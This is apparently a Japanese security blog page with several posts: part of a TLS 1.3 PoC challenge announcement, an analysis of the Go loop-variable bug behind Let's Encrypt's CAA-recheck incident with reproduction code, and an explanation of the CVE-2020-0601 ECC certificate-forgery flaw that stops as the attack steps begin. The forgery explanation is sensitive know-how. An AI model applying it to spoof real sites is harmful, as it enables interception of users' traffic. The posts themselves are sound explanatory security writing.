  • なにかリーガル上の理由やその他考慮不足など止む得ない理由で、予告なく Challenge の条件変更や取りやめを行う可能性がありますが、ご了承いただける方。
  • 私の一存の判断で応募内容の評価させていただくことに異論のない方。

TLS 1.2のPoCに関しては、全てのアプリケーションデータの forward secrecy を破ることになり影響が大きいので対象としません。

TLS 1.3については、現在 0-RTT を利用していると公表している中で netflix が一番の大規模サービスと思いますが、今回の脆弱性に該当するGnuTLSを利用していないことを確認済です。TLS1.3 0-RTTの機能はセキュリティ上の理由で安全に利用するのが難しく現在利用が普及していません。そのため今回のPoC公開・解説はあまり世間に影響ないものと判断しています。もし影響が大きいとわかれば、PoCの公表を取りやめます。

こういうことやるの初めてなので、いろんな不備・不測の自体が発生した場合にはお許しください。なにか不明な点があればこのブログにコメントください(moderateされています)。

応募が全然なかったら寂しいですね。贈呈するギフト券は完全に自分のポケットマネーです。これを機にTLS1.3仕様の完全理解に取り組んでくれる方がいらっしゃれば嬉しいです。

TLS1.3の再接続を完全に理解している方、応募をお待ちしています!

Let's EncryptがはまったGolangの落とし穴

0. 短いまとめ

300万以上の証明書の失効を迫られたLet's Encryptのインシデントは「Golangでよくある間違い」と書かれているようなバグが原因でした。

1. はじめに、

Let's Encryptは、無料でサーバ証明書を自動化して発行するサービスを行う非営利団体として2014年に設立されました。

2015年にサービス開始されると証明書の発行数はぐんぐん伸び、先月末のプレスリリースでは累計10億枚のサーバ証明書を発行したことがアナウンスされました「Let's Encrypt Has Issued a Billion Certificates」。CTLogの調査から、2020年2月末の時点では有効な全証明書の38.4%がLet's Encryptの証明書であるとみられています「Certificate Validity Dates」

無料の証明書を提供してもらえるのは非常に嬉しいのですが、認証局の業務やシステムの運用には当然大きなコストが掛かります。私も正式公開前のベータサービスの時から個人ドメインでLet's Encryptの証明書を利用し始めましたが、はたして寄付金だけを頼り、非営利で無料のままこのようなサービスを長期に継続して提供できるのだろうか?

正直言ってこのプロジェクトを初めて聞いた時 Let's Encrypt の先行きに少し不安を持っていました。もしくは将来、有料のEV証明書とかをきっと売り始めるだろうとも予想していました。

それからもう4年半も経ちました。Let's Encryptが主体となってドメイン認証と証明書発行の自動化を行うACME(Automatic Certificate Management Environment)プロトコルの仕様化も完了し、現在はACME v2が運用中です。 これによってDV証明書限定になりますが、従来の認証局が積極的に進めようとしなかった証明書発行システムの完全自動化に成功し、現在わずか13名のフルタイムスタッフと年間USD3.35M(約3億5千万円)の予算でLet's Encryptのシステムが運用され、大規模な証明書発行サービスを実現できています。本当に驚きです。

日本企業からは、時雨堂さん・さくらインターネットさんなどがLet's Encryptのスポンサーとして貢献されています。もうホント感謝しかありません。

Let's Encryptは間違いなく世界のWebサービスHTTPS化を大きく進めたもの思います。

しかしこういった高い貢献に対する評価の反面、Let's Encryptによって無料証明書を使ったHTTPSのフィッシングサイトが大幅に増加しているといった負の側面も指摘されています。

これはLet's Encryptだけが悪いとは思いません。結局Web PKIをめぐる歴史的経緯の中で生まれた様々な歪がLet's Encryptによって今あぶり出されたものだと私は思っています。

2. Let's Encryptのインシデント

そんな今では世界1位のシェアを持つLet's Encryptですが、先日証明書発行に関するインシデント発生のアナウンスがCommunity Supportに投稿されました「2020.02.29 CAA Rechecking Bug」Mozillaには「Let's Encrypt: CAA Rechecking bug」のチケットで報告されています。

この報告によると、Let's Encryptがgithub上で開発を続けている認証システム boulder でバグが見つかり、一部の証明書でドメインのCAA(Certification Authority Authorization)を再チェックせずに発行してしまったとのこと。

証明書の発行の際に記載ドメインすべてのCAAレコードをチェックすることは、CA/Browser Forum のBR(Baseline Requirements)を基としたLet's EncryptのCP(Certificate Policy)に規定されており、証明書発行時の必須要件です。

この規定要件に反して証明書発行が行われた場合、以下のCP規定に従い5日以内に対象の証明書を失効させなければなりません。

4.9.1.1 Reasons for revoking a subscriber certificate
The CA SHOULD revoke a certificate within 24 hours and MUST revoke a Certificate within 5 days if one or more of the following occurs:
7. The CA is made aware that the Certificate was not issued in accordance with these Requirements or the CA's Certificate Policy or Certification Practice Statement;

4.9.1.1 加入者の証明書を取り消す理由
CAは次のインシデントが1つ以上が発生した場合、24時間以内に証明書を取り消すべきであり(SHOULD)、5日以内に証明書を取り消さなければなりません(MUST)。
7. 証明書がここに記載されている要件またはCAの証明書ポリシー・認証実施規定に従って発行されていないことをCAが認識した時

証明書の失効方針とユーザへ証明書の再発行をメールで要請したことについて、「Revoking certain certificates on March 4」 のアナウンスも直ちに投稿されました。

対象となったのはおよそ305万の証明書、Let's Encryptから発行済みで有効な証明書のおよそ2.8%にあたる多さです。これをインシデント発見から5日以内、2020年3月5日3:00(UTC)までに全部失効させなければなりません。

Let's Encryptからの要請を受け、この期限日までにユーザによって170万以上の証明書が再発行されました。

しかしまだ130万証明書証明書が未更新のままで、その半数以上(約65%)が現在利用中であることがわかりました。このまま稼働中の証明書を強制的に失効させると、多数のWebサービスに重大な影響を与えることが予想されます。

結局、Let's Encryptはその影響度を考慮し、CP規定の5日以内に未更新の証明書を失効させることを止め、残り83日のExpireを待つ方針としました。引き続き証明書モニターと連絡を継続。今後この様な大規模インシデントに対応できるよう、失効通知するプロトコルの開発を進めるということです「Let's Encrypt: Incomplete revocation for CAA rechecking bug」

この方針に対して各ブラウザーベンダーが今後どう反応するのか、気になるところです。

今回のインシデントは、Go言語で開発されているboulderのバグによるものです。このバグの詳細についてIncident Reportで細かく言及されていました。

このレポートを読んでみると、驚いたことにこのバグは、GoのWikiページで「CommonMistakes/Using reference to loop iterator variable(よくある間違い/iterator変数をloopする際に参照を使う場合)」で書かれてある間違いが直接の原因でした。

Wikiではこの間違いを、

func main() {
     var out []*int
     for i := 0; i < 3; i++ {
         out = append(out, &i)
     }
     fmt.Println("Values:", *out[0], *out[1], *out[2])
     fmt.Println("Addresses:", out[0], out[1], out[2])
}

のようなコードで実例として挙げています。

これは、ループ内でループ変数iの参照を配列に入れてしまうことで、ループ終了後の出力値が

$ ./test_gomistake
Values: 3 3 3
Addresses: 0xc0000160a0 0xc0000160a0 0xc0000160a0

のように配列が全て同じ値になってしまう問題です。

for や range などで扱うループ変数が同じ参照になることを知っていないとやってしまいそうな初心者的な間違いです。

しかし実際にboulderコードを読むと、Let's Encryptのエンジニアは決してこの間違いを知らなかったわけではなく、ある変数ではきちんと対応していたのに他の変数ではうっかりこの間違いを見逃してしまったことが原因のようでした。

これはひょっとしたら自分もいつかこのようなバグを仕込んでしまうかも、と背筋が寒くなりました。

今回、300万以上の証明書を失効させるほどの要因となったCAAとはどういうものなのか? なぜ再チェックが必要なのか? このGoではよくある問題と書かれている程のバグは、なぜどのように発生したのか? について、このブログでまとめてみたいと思います。

3. CAAとはなにか?

CAA(Certification Authority Authorization)は、ドメインの管理者がDNSレコードに証明書発行を許可する認証局情報を記載し、証明書の不正発行や誤発行を防ぐ技術です。

認証局による証明書の誤発行や不正発行が問題となった2013年にRFC6844でCAAの仕様化が行われました。2019年11月に探索アルゴリズムのバグ修正をした改訂版RFC8659が発行されています。

ブラウザベンダや認証局が参加するCA/Browser Forumの規約で2017年9月よりCAAがサポートすることが必須化されました。この規定により、証明書発行する際には必ずCAAレコードのチェックが入ります。

認証局は、証明書発行時に証明書の subjectAltName フィールドに記載されている全てのドメインに対してCAAのチェックを行わなければなりません。

CAAレコードに記載されているドメインが自社指定のものであるなら証明書を発行することができますが、そうでなければ発行せずエラーを返します。

だからと言って焦ってドメインにCAAレコードを追加する必要はありません。CAAレコードの登録自体はオプション扱いです。CAAレコードが引けなかった場合でも証明書は発行されます。CAAレコードが設定されておらず、存在しなかった場合も証明書は発行されます。

2020年3月9日18:00更新 DNSエラー時のCAAチェックについて

Yasuhiro Morishita (@OrangeMorishita) | TwitterさんよりDNSエラー時の説明が間違っていることを指摘していただきました。ご指摘の通りですので記載内容を取り消しました。

この辺、私が規定を読み間違え、コードの確認も怠っていました。詳細については以下のtogetterをご確認ください。 ご指摘本当に感謝いたします。 togetter.com

次の図では、普段 example.com ドメイン認証局1(ca1.example.net)から証明書発行を受けている場合を例にします。 f:id:jovi0608:20200309042603j:plain example.comドメイン管理者は、DNSサーバに ca1.example.net のCAAレコードを登録し、認証局1から証明書の発行が可能であることを示しておきます。

攻撃者は、別の認証局2に対してなんらかの穴をついて www.example.com の証明書を発行しようとします。その際認証局2は、 www.example.com のCAAレコードをチェックにいきます。

CAAレコードでは www.example.com の証明書発行可能であるのは認証局1だけであることが記載されているため、認証局2では www.example.com の証明書発行要求を拒否してエラーとして返します。

よって攻撃者による www.eample.com の不正証明書入手は失敗に終わります。

CAAのレコードに記載するデータフォーマットは以下のような項目が入ります。 f:id:jovi0608:20200309042559j:plain 例えば実際のドメインでは以下のようなCAAレコードが登録されているのがわかります。 f:id:jovi0608:20200309042625j:plain このドメインは、CyberTrust、DigiCert、GlobalSignの認証局3社からしか証明書が発行できないよう指定されているのがわかります。

SSL Labs の統計では、2020年3月3日時点で7.1%のサイトがCAAの設定をしていると報告されています。やはりオプション扱いなので、まだそれほど高い普及率とは言えません。

CAAで証明書の不正発行や誤発行をすべて防ぐことはできません。むしろ限定されたケースでしかCAAによって守ることはできないと言っていいでしょう。

例えば、認証局システムのCAAチェックを無効化するまで完全に乗っ取られたり、(DNSSECを利用していない場合に)DNSへの攻撃などを合わせられるようなケースに対してはCAAは無力です。

実際にCAAを設定しているのにドメインレジストラへの攻撃によって証明書の不正発行防げなかった事例がありました。

Googleドメインには自社認証局 pki.goog の CAA が設定されていますが、2017年にGoogleのtg(トーゴ)ドメイン(google.tg)がLet's Encryptから不正発行が発覚しています。 https://crt.sh/?id=245397170 f:id:jovi0608:20200309042607j:plain この証明書は直ちに失効されました。

RFCではアプリケーションがCAAレコードを参照して証明書を検証することを禁止しています。そのためCAAレコードを付与することによってサービスが直接影響を受ける可能性は非常に少ないです。

サービスに与えるリスクが少なく、手軽に証明書の不正発行の対策ができることがCAAのメリットです。ただドメインにCNAMEが付与されている場合、CAAレコードの探索が少し複雑になりますので注意しましょう。

4. Let's Encryptの証明書発行を支えるboulder

boulder のアーキテクチャを下図に示します。以下 github repoのdocumentから引用した図を付けています。 f:id:jovi0608:20200309042555p:plain boulderのシステム要素を全て解説するわけにいきませんので、今回関連する部分だけを書きます。各システム要素(Authority)は protocol buffer v2 を使った gRPC で連携して動作しています。

ACME v2 ではおおよそ以下のステップで証明書発行を行います。

  1. Subscriber(ユーザ or クライアント)は、letsencrypt(旧certbot)コマンド等を通じて ACME v2プロトコルを使ってWFE(Web Front End)サーバと通信します。
  2. ユーザ認証系が整っていればクライアントは、証明書発行のための Order をWFE経由でRA(Registration Authority)に送ります。
  3. http-01とかdns-01等の指定された Challenge 形式の手順に従い、RA経由でVA(Validation Authority)がユーザへのサーバにアクセスしてドメイン認証(Challenge Response)を行います。
    この時VAは、発行ドメインCAAレコードをチェックして証明書発行が許可されているかどうかを確認します。 f:id:jovi0608:20200309042547j:plain ここで一度認証されたドメイン認証情報は、Let's Encryptの場合30日間有効です。FAQ Technical Questionには以下の通り記載されています。

    Once you successfully complete the challenges for a domain, the resulting authorization is cached for your account to use again later. Cached authorizations last for 30 days from the time of validation. If the certificate you requested has all of the necessary authorizations cached then validation will not happen again until the relevant cached authorizations expire
    ドメインに対するチャレンジが正常に完了すると、認証された結果がアカウントに対してキャッシュされ、後で再び使用できるようになります。 認証のキャッシュは検証時から30日間継続します。 発行要求した証明書が必要な認証を全てキャッシュされている場合には、その認証が期限切れになるまでvalidationは再度行われません。

  4. クライアントはWFEとRAを通じてCA(Certificate Authority)に証明書の発行要求(Order Final)を行います。この際ドメイン認証から8時間以上経っていればRAは再度CAAのチェックを行います。 f:id:jovi0608:20200309042552j:plain なぜ8時間以上経ったらRAによるCAAの再チェックが必要なのか? 実はCPの下記規定により、CAAチェック結果は最大でも8時間しか有効とみなせない規定があるからです。

3.2.2.8. CAA Records If the CA issues, they must do so within the TTL of the CAA record, or 8 hours, whichever is greater.

CAが発行する際は、CAAレコードのTTLまたは8時間のいずれか大きい方の時間内で証明書を発行しなければならない。

ドメイン認証は30日間有効ですので、ドメイン認証から8時間後を過ぎるとその時のCAAチェック結果は無効になります。ドメイン認証から8時間後かつ30日以内で証明書発行を要求されると、ドメイン認証でのCAAチェックはスキップされるので、RAは再度CAAをチェックしないといけないわけです。

5. boulderのバグ

今回バグは、当初ユーザからエラーが99個の同一のメッセージを出しているとのレポートによって発覚しました「Rechecking caa fails with 99 identical subproblems」。100のドメインを含んだ証明書発行を要求した際に、同一ドメインのCAAのrecheckエラーが99個含まれたメッセージが返ってきたのです。

このissueに反応した別のコミュニティユーザが現象を確認し、Let's Encryptスタッフに対して以下の問いかけます。

any confirmation? (I’m wary that this might actually be possible to apply as a CAA re-checking bypass … maybe I should delete and send to security@ …)

確認できます? (これが実際にCAAの再チェックをバイパスできるかもしれないと心配しています… おそらくこれを削除して security@ に連絡すべきかもしれませんが…)

なんと聡明なユーザでしょう。ですが残念なことにLet's Encryptのスタッフは当初これをエラー表示の問題と捉えていました。しかし数日後パッチを作って確認している際に間違いであることに気づきました。

問題はRAがOrder Finalの際にCAAの再チェックを行うところです。そこではRAとSA(Storage Authority)の間のgRPCで以下のやり取りがされていました。 f:id:jovi0608:20200309042612j:plain

  1. RAは、クライアントからの証明書発行要求(Order Final)を受け認証情報を確認します(checkAUthorizations)。その際RAは、CSRのsubjectAltNameに記載されている各ドメインの認証情報をSAに対してgRPCを通じて入手します(GetValidAuthorizations2)。
  2. SAは、自身が管理している認証情報(AuthzModel)をProtocol Buffer v2形式にして、ドメインと認証情報のMapを配列に入れRAに返します(authzModelMapToPB, modelToAuthzPB)。
  3. RAは、その認証情報に記載されているドメイン情報を見てCAAレコードをチェックします(checkAuthorizationCAA/recheckCAA)。

バグに関連する該当部分のコード(authzModelMapToPB, modelToAuthzPB)を示します。説明がわかりやすくなるよう便宜的に行番号をふっています。また一部説明に関係ない部分のコードを省略しています。

1.func modelToAuthzPB(am *authzModel) (*corepb.Authorization, error) {
2.      expires := am.Expires.UTC().UnixNano()
3.      id := fmt.Sprintf("%d", am.ID)
4.      status := uintToStatus[am.Status]
5       pb := &corepb.Authorization{
6.              Id:             &id,
7.              Status:         &status,
8.              Identifier:     &am.IdentifierValue,
9.              RegistrationID: &am.RegistrationID,
10.             Expires:        &expires,
11.     }
12.    (snip)
13.     return pb, nil
14.}
15.
16. // authzModelMapToPB converts a mapping of domain name to authzModels into a
17. // protobuf authorizations map
18. func authzModelMapToPB(m map[string]authzModel) (*sapb.Authorizations, error) {
19.     resp := &sapb.Authorizations{}
20.     for k, v := range m {
21.             // Make a copy of k because it will be reassigned with each loop.
22.             kCopy := k
23.             authzPB, err := modelToAuthzPB(&v)
24.             if err != nil {
25.                     return nil, err
26.             }
27.             resp.Authz = append(resp.Authz, &sapb.Authorizations_MapElement{Domain: &kCopy, Authz: authzPB})
28.     }
29.     return resp, nil
30.}

ありました「よくある間違い/iterator変数をloopeする際に参照を使う場合」です。20行目から28行目に渡るfor loopが該当します。

authzModelMapToPBに渡されたmap m の key k と value v を参照しています。
kに関しては、ちゃんとバグにならないよう kCopyに代入して別の参照に渡しています。
vに関しては、modelToAuthzPBに参照を渡していますが一見問題がなさそうです。でも渡されたmodelToAuthzPBにおいてIdentifierとRegistrationIDのフィールドにvの参照を渡しています。そしてその返り値を配列に代入しています。

この部分だけ切り出して動作するようにして試してみます(動作が変わらない程度に若干コードに変更をかけています)。

package main
import (
        "fmt"
        "time"
        apb "./proto"
        )

type authzModel struct {
        ID               int64
        IdentifierType   uint8
        IdentifierValue  string
        RegistrationID   int64
        Status           uint8
        Expires          time.Time
}

func modelToAuthzPB(am *authzModel) (*apb.Authorization, error) {
        expires := am.Expires.UTC().UnixNano()
        id := fmt.Sprintf("%d", am.ID)
        status := "valid"
        pb := &apb.Authorization{
                Id:             &id,
                Status:         &status,
                Identifier:     &am.IdentifierValue,
                RegistrationID: &am.RegistrationID,
                Expires:        &expires,
        }
        // snip
        return pb, nil
}

func authzModelMapToPB(m map[string]authzModel) (*apb.Authorizations, error) {
        resp := &apb.Authorizations{}
        for k, v := range m {
                // Make a copy of k because it will be reassigned with each loop.
                kCopy := k
                authzPB, err := modelToAuthzPB(&v)
                if err != nil {
                        return nil, err
                }
                resp.Authz = append(resp.Authz, &apb.Authorizations_MapElement{Domain: &kCopy, Authz: authzPB})
        }
        return resp, nil
}

func main() {
        authzModels := [...]authzModel{
                authzModel{1,1,"www.example1.com",1,1, time.Date(2020, time.January, 1, 1, 1, 1, 1, time.UTC)},
                authzModel{2,2,"www.example2.com",2,2, time.Date(2020, time.February, 2, 2, 2, 2, 2, time.UTC)},
                authzModel{3,3,"www.example3.com",3,3, time.Date(2020, time.March, 3, 3, 3, 3, 3, time.UTC)},
        }
        authzModelMap := make(map[string]authzModel)
        for _, am := range authzModels {
                authzModelMap[am.IdentifierValue] = am
        }
        resp, _ := authzModelMapToPB(authzModelMap)
        fmt.Printf("%+v, Identifier:%p, RegistrationID:%p\n", resp.Authz[0], resp.Authz[0].Authz.Identifier, resp.Authz[0].Authz.RegistrationID)
        fmt.Printf("%+v, Identifier:%p, RegistrationID:%p\n", resp.Authz[1], resp.Authz[1].Authz.Identifier, resp.Authz[1].Authz.RegistrationID)
        fmt.Printf("%+v, Identifier:%p, RegistrationID:%p\n", resp.Authz[2], resp.Authz[2].Authz.Identifier, resp.Authz[2].Authz.RegistrationID)
}

ここでは、テスト用のmapデータwww.example[1-3].comの3つのドメインを渡された場合を模擬しています。

実行してみます。

$ ./le_bug
domain:"www.example1.com" authz:<id:"1" identifier:"www.example3.com" registrationID:3 status:"valid" expires:1577840461000000001 > , Identifier:0xc0000c8060, RegistrationID:0xc0000c8070
domain:"www.example2.com" authz:<id:"2" identifier:"www.example3.com" registrationID:3 status:"valid" expires:1580608922000000002 > , Identifier:0xc0000c8060, RegistrationID:0xc0000c8070
domain:"www.example3.com" authz:<id:"3" identifier:"www.example3.com" registrationID:3 status:"valid" expires:1583204583000000003 > , Identifier:0xc0000c8060, RegistrationID:0xc0000c8070

あぁ、identifier と registrationIDは同じ参照になっているため同じ値(www.example3.com, 3)になっています。recheckCAAはregistrationIDを参照するため、これではwww.example3.comの1ドメインしかCAAの再チェックを行いません。バグが再現できました。

このバグは、次のPR(Pass authzModel by value, not reference)で修正されました。単純に参照渡しを値渡しに変えるだけです。ここでも同じ修正をしてみます。

diff --git a/main.go b/main.go
index e4fa2a1..828401d 100644
--- a/main.go
+++ b/main.go
@@ -15,7 +15,7 @@ type authzModel struct {
         Expires          time.Time
 }

-func modelToAuthzPB(am *authzModel) (*apb.Authorization, error) {
+func modelToAuthzPB(am authzModel) (*apb.Authorization, error) {
         expires := am.Expires.UTC().UnixNano()
         id := fmt.Sprintf("%d", am.ID)
         status := "valid"
@@ -36,7 +36,7 @@ func authzModelMapToPB(m map[string]authzModel) (*apb.Authorizations, error) {
         for k, v := range m {
                 // Make a copy of k because it will be reassigned with each loop.
                 kCopy := k
-                authzPB, err := modelToAuthzPB(&v)
+                authzPB, err := modelToAuthzPB(v)
                 if err != nil {
                         return nil, err
                 }

試してみましょう。

$ ./le_bug
domain:"www.example1.com" authz:<id:"1" identifier:"www.example1.com" registrationID:1 status:"valid" expires:1577840461000000001 > , Identifier:0xc0000b8060, RegistrationID:0xc0000b8070
domain:"www.example2.com" authz:<id:"2" identifier:"www.example2.com" registrationID:2 status:"valid" expires:1580608922000000002 > , Identifier:0xc0000b8100, RegistrationID:0xc0000b8110
domain:"www.example3.com" authz:<id:"3" identifier:"www.example3.com" registrationID:3 status:"valid" expires:1583204583000000003 > , Identifier:0xc0000b81a0, RegistrationID:0xc0000b81b0

無事、それぞれのドメインに応じた値になっています。

22行目のkCopy変数の処理コメントを見ると、iterator変数をloopする際に参照を使う問題についてちゃんと意識してコードを書いていたことがわかります。本当に惜しい。

レポートでは kCopy は問題を回避しているのに v について見逃したのは、protocol buffer ver2 におけるフィールド値の代入が全て参照渡しになっていることも一因にあると分析しています。そのためつい参照渡しにしてしまったのでしょう。

再発防止策として、テストやログの充実、静的解析やレビューの実施、protocol buffer ver3のアップグレードなどが挙げられています。

ハマるところをちゃんと理解して回避したつもりがホントちょっとの思い込みで他の手当を忘れてしまう、胸に手をあてて見ても過去そんなことがあった覚えがありますし、これからも絶対に自分に起こらないとは言えません。怖いことです。

今回のインシデントは対岸の火事とはとても思えません。自分もこういうインシデントを将来起こさないよう本当に気をつけたいとレポートを読んでしみじみ思うのでした。

Windows CryptoAPIの脆弱性によるECC証明書の偽造(CVE-2020-0601)

1. はじめに

つい先日のWindowsのセキュリティアップデートでWindowsのCryptoAPIの楕円曲線暗号処理に関連した脆弱性の修正が行われました。
「CVE-2020-0601 | Windows CryptoAPI Spoofing Vulnerability」
これがまぁ世界の暗号専門家を中心にセキュリティ業界を驚かせ、いろいろ騒がしています。

その驚きの一つは、この脆弱性の報告者がNSA(米国家安全保障局)だったことです。NSAMicrosoftのアナウンスとは別により詳しい内容でこの脆弱性を警告するアナウンスを出しています。
「Patch Critical Cryptographic Vulnerability in Microsoft Windows Clients and Servers」

これまで数々の諜報活動をインターネット上で行ってきたNSAが、この脆弱性を自分たちの諜報活動に利用しないというのだろうか?
楕円曲線暗号バックドアを仕込んだのではないかと疑われているNSAが、自ら発見した楕円曲線暗号処理の脆弱性をわざわざ開発元に報告し、修正を求めるなんてことが本当にありうるのだろうか?

他にも、NSAは既にもっと巧妙な攻撃方法を使っているのでもうこの脆弱性はいらなくなったとか、他国がこの脆弱性を狙った攻撃を使い始めたからとか、いろんなことを想像しちゃいます。

まぁこれが本当なら世の中かなり変わったものです。

こういった騒ぎの中で、Hacker Newsではこの脆弱性の原因について解説をするコメントが寄せられていました。
「CVE-2020-0601の攻撃方法について述べたHacker Newsのコメント」

これを読んでみると、この脆弱性なかなかヤバそうです。早速世界中でこの脆弱性をついて exploit するPoCが作成され、既にいくつか公表されています。

その中で Kudelski Security が公表した、
「CVE-2020-0601: THE CHAINOFFOOLS/CURVEBALL ATTACK EXPLAINED WITH POC」
の内容は非常に具体的です。私も試してみると本当にHTTPSサーバの証明書を偽造することができました。このデモは、時雨堂さんのサイトを偽造してします。Vさん、ごめんなさい。

f:id:jovi0608:20200118022252p:plain

スクリーンショットにあるよう、IE11のURL表示バーには何もエラーが出ていません。ただし証明書のパスのチェックしてみると、ルート証明書にバッテンがついています。なんか不思議な状態です。通常のユーザはこれが異常であることに気づかないでしょう。

ちなみにWindows Update脆弱性修正のパッチをあててみると、まずDefenderがブロックしてサイトにアクセスできません。警告を受け入れてアクセスしてみると、見事URLバーが赤色になり証明書エラーの表示が出ています。

f:id:jovi0608:20200118022238p:plain

これだとひと目で攻撃サイトにアクセスしていることがわかります。まだWindows Updateしていない皆さん、直ちにパッチをあてましょう。

今回は、この脆弱性のしくみと上記の試験で検証した Kudelski Security が公表したHTTPSサーバを偽造する攻撃手法に限定にして解説したいと思います。コード署名やVPNなどでは他の攻撃ベクターが存在している可能性があります。ご注意ください。

2. 超ざっくりしたECDSAの解説

今回の脆弱性は、ECDSA(Elliptic Curve Digital Signature Algorithm)の処理に関連したものです。 ここでECDSAのしっかりした解説をするのはかなり荷が重いです。なので、この記事が分かる程度に超ざっくりとECDSAがどういうものか書いてみます。

これでなんとなく雰囲気を掴んでいただければと思います。ただかなり雑に書いているので、正確に理解したいならちゃんとした本や資料で勉強してください。

楕円曲線暗号の特徴は、ECパラーメータという数値セットで決定されます。そのECパラメータには、曲線の係数やベースポイント(G)と呼ばれる計算の開始点、剰余算を行う素数の値、その他いくつかの数値が含まれます。もちろん楕円曲線暗号の種類によってその中身も変わります。

この楕円曲線上の点で、数学的に決まった形で剰余演算を行います。楕円曲線暗号方式のキモは、ある楕円曲線上の点Gを何倍かして新しい点の位置を計算することはできるが、逆にある点を見てGを何倍してたどり着いた点なのか、その倍数を見つけるのが非常に難しいという性質です。さらに楕円曲線上の点Gを2倍3倍…と進んでいくと、同じ点Gに戻ってくるという性質もあります。

f:id:jovi0608:20200118134906p:plain

ECDSAは、この楕円曲線暗号を使った署名方式です。

上図の様にG、P(公開鍵)を署名者、署名検証者の間で交換しておきます。署名者は、署名作成時に乱数rから生成される点Rとメッセージのハッシュ値(Hash(M))と合わせて署名値SとRのx座標(Rx)を計算し、メッセージと共に署名検証者に渡します。
署名検証者は、受け取った署名値(Rx, S)とメッセージM、あらかじめ知っているGとPを使って別にRを計算します。この計算したRのX座標が、受け取ったRxと一致していれば署名検証成功です。

Pを生成する秘密鍵dを知っている者でないと、この計算を一致させる署名値を作ることができないからです。

こういった特徴を持つECDSA署名のしくみによってメッセージの認証や完全性が保証され、なりすましや改ざんといった脅威から守ることが可能となります。

3. CVE-2020-0601の脆弱性

今回のWindows脆弱性 CVE-2020-0601 は、CryptoAPI のバグをついてECパラメータを偽造し、署名検証をバイパスできてしまう脆弱性です。

ベースポイントGを含むECパラメータは、通常セットで名前付けられており、P-256, P-384などの名前で呼んで識別します(namedCurve)。ただし同じECパラメータでも名付け団体によって名前が異なるのでややこしいし、混乱します。

仕様的には名前付けされたパラメータセットではなく、ベタでECパラメータを書いている方式も認められています(specifiedCurve)。

修正される以前のWindows CryptoAPIでは、このECパラメータの処理する際にベースポイントGをチェックする処理が見落とされるバグを持っていました。

通常署名で利用する公開鍵は、証明書に記載されています。公開鍵を変えてしまうと別の証明書であると見なされます。そこで攻撃者は、ベースポイントGのチェックが甘いCryptoAPIのバグをついて、Gを秘密鍵がわかる位置まで移動させてしまえば、公開鍵Pに対応した秘密鍵を攻撃者が自由に設定できることを見つけました。

秘密鍵がわかる位置、そうですG'を公開鍵Pの倍数の位置まで動かせばいいのです。

公開鍵Pの座標を変えられないから計算の起点であるベースポイントGを動かす、逆転の発想です。

f:id:jovi0608:20200118134901p:plain

署名検証者が利用するベースポイントGをなんらかの方法で変更することが可能であるならば、公開鍵の値はそのままで攻撃者が自由に秘密鍵の値を決めることができてしまうのです。なんてことでしょう。

署名検証者が利用するCryptoAPIではベースポイントのチェックが漏れています。何も知らずに偽造されたベースポイントG'を利用して署名検証をしてしまうと偽造署名の検証が通ってしまうことになります。

もう少し細かくこれを数式で示したのが以下の図です。

f:id:jovi0608:20200118134857p:plain

自分も実際に紙上で手計算するまでは信じられませんでしたが、お見事です。これ見つけた人はすごい。

当初 twitter で公開した図の計算式に関しては、 xagawa さんsuper duper blooper さん から貴重なコメントを頂きました。深く感謝いたします。また頂いたコメントに従い一部表現を修正しました。

4. ECC証明書の形式

ではどうやって偽造したベースポイントG'を署名検証者に伝えるのでしょうか? 証明書を使えばいけそうです。

ECDSA署名で利用するECC証明書には、namedCurve形式とspecifiedCurve形式の2通りが存在します。仕様的には3つ目のimplictCurve形式も存在しますが、今回は対象外とします。

各形式の証明書を実際に見てみましょう。

4.1 namedCurve形式のECC証明書

namedCurve形式の証明書は以下の形です。証明書のなかほどに、ASN1 OID: prime256v1, NIST CURVE: P-256 と書いてあります。これがECパラメータを表す名前です。

f:id:jovi0608:20200118022217p:plain

この名前(prime256v1)で規定されているECパラメータの中身は、opensslのコマンドで以下の様に簡単に確認することができます。

$ openssl ecparam -name prime256v1 -text -param_enc explicit -noout
Field Type: prime-field
Prime:
    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:ff
A:
    00:ff:ff:ff:ff:00:00:00:01:00:00:00:00:00:00:
    00:00:00:00:00:00:ff:ff:ff:ff:ff:ff:ff:ff:ff:
    ff:ff:fc
B:
    5a:c6:35:d8:aa:3a:93:e7:b3:eb:bd:55:76:98:86:
    bc:65:1d:06:b0:cc:53:b0:f6:3b:ce:3c:3e:27:d2:
    60:4b
Generator (uncompressed):
    04:6b:17:d1:f2:e1:2c:42:47:f8:bc:e6:e5:63:a4:
    40:f2:77:03:7d:81:2d:eb:33:a0:f4:a1:39:45:d8:
    98:c2:96:4f:e3:42:e2:fe:1a:7f:9b:8e:e7:eb:4a:
    7c:0f:9e:16:2b:ce:33:57:6b:31:5e:ce:cb:b6:40:
    68:37:bf:51:f5
Order:
    00:ff:ff:ff:ff:00:00:00:00:ff:ff:ff:ff:ff:ff:
    ff:ff:bc:e6:fa:ad:a7:17:9e:84:f3:b9:ca:c2:fc:
    63:25:51
Cofactor:  1 (0x1)
Seed:
    c4:9d:36:08:86:e7:04:93:6a:66:78:e1:13:9d:26:
    b7:81:9f:7e:90

今回注目のベースポイントGは、Generator (uncompressed) の項目に該当します。uncompressedは、ベースポイントの座標がX,Yの座標でエンコードされていることを示しています。

namedCurve形式のECC証明書は、opensslのデフォルトでECC証明書の秘密鍵を生成すると使えます。

$ openssl ecparam -out namedCurvePrivate.key -name prime256v1 -genkey

後述しますが、インターネットのPKIシステムで使われる証明書はこのnamedCurve形式になります。

4.2 specifiedCurve形式のECC証明書

specifiedCurve形式のECC証明書は、ECパラメータを証明書内にベタに書き込む形式です。

以下の証明書は、先のnamedCurve形式と全く同じECパラメータ(P-256)の証明書です。しかし名前ではなくECパラーメータの値がベタに記載されています。

先程のopensslで出力したECパラメータと全く同じ値が証明書内に明示的に記載されていることがわかるでしょう。

f:id:jovi0608:20200118022224p:plain

今回のCVE-2020-0601は、ここに書かれているベースポイントを偽造した値に入れ替えた証明書を使い攻撃を行います。

specifiedCurve形式のECC証明書は、opensslでECC証明書の秘密鍵を生成する際に、-param_enc explicit を付けると使えます。

$ openssl ecparam -out specifiedCurvePrivate.key -name prime256v1 -genkey -param_enc explicit

5. Kudelski Security が実証した攻撃手法

では実際にKudelski Security が実証した攻撃手法を試してみます。

時雨堂ドメインサーバ証明書を偽装し、IE11のブラウザーからエラーを出さずに偽のWebサーバにアクセスさせる攻撃です。

